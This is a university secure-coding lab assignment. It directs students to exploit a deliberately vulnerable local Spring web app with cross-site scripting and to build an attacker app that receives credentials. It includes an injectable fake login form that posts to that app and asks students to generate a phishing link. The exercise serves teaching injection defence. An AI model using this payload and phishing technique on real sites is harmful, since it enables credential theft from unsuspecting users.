

SIT 218/738: Secure coding

Distinction task 3.3D: Injection attacks

Objective

In this task you will demonstrate how cross-site scripting (XSS) attacks occurs by exploiting a vulnerable web application to harvest credentials of victims. The process starts by identifying the vulnerability in the web application and exploiting it with the injection attacks. The attacker then generates a malicious URL that contains the injected code and shares it with the victim using social engineering attacks or hosting the URL on common platforms where users might click on it. Once the victim clicks on the link, the user is prompted to enter the credentials due to the injected script. The victim thinks that he/she is on the genuine website. However, the victim is tricked in entering his/her credentials and once he/she clicks on submit button, the credentials are passed on to a domain controlled by the attacker, thereby harvesting the credentials.

Overview

The attacker wants to harvest user's credentials. To achieve this, he/she exploits the vulnerability of the coachweb app (<http://localhost:8080/02-vul-coachwebapp>) by an embedded username/password form and generates a phishing link. When the victim clicks on the phishing link, it alerts the user to login. Then a form is displayed with username/password. When the victim submits the credentials, they are captured in the attacker's website. Steps to complete this task:

1. Create a simple spring-based web app: attacker website (*harvest-coachweb-springapp*) that accepts the inputs (username and password) from an input web-form with a submit button. It should accept the POST request coming from the input web-form. This attacker's app should display the username and password entered from the input form once clicked on the submit button. You will need to use post mapping method handler.
2. Use the simple spring-based web app (02-vul-coachwebapp) as a client web app. The index page of our Coach web application can be accessed using <http://localhost:8080/02-vul-coachwebapp> as displayed below.

Workout consultation with experts

What's your name?	Submit
-------------------	--------

3. Combine an alert and the below login form to inject into the name field of the index page of '02-vul-coachwebapp' client-app. Note the hyperlink in the form action is referring to the

attacker's web app. You can have a different name for the attacker's app and thereby have a different link for this as you create.

```
<h3>LOGIN</h3>
<form action="http://localhost:8080/harvest-coachweb-springapp/validate" method=post target="_blank">
<label for="username">Username:</label>
<input type="text" name="username" id="username" />
<label for="password">Password:</label>
<input type="password" name="password" id="password">
<input type="submit" value="OK">
```

4. Demonstrate that you have successfully been able to perform a cross-site scripting (XSS) attack using your attacker and client web apps.
5. Generate a phishing link that has the injected code in the URL

Submission Requirements:

Submit one PDF file containing the following information:

1. Explain your web applications including codes that you have developed from step-1. Execute this apps and provide screenshots.
2. Explanations of your work from step-4 and provide detailed screenshots for successful cross-site scripting (XSS) attack.
3. URL that will be used as phishing link with the injected code

Submission Due

The due for each task has been stated via its OnTrack task information dashboard.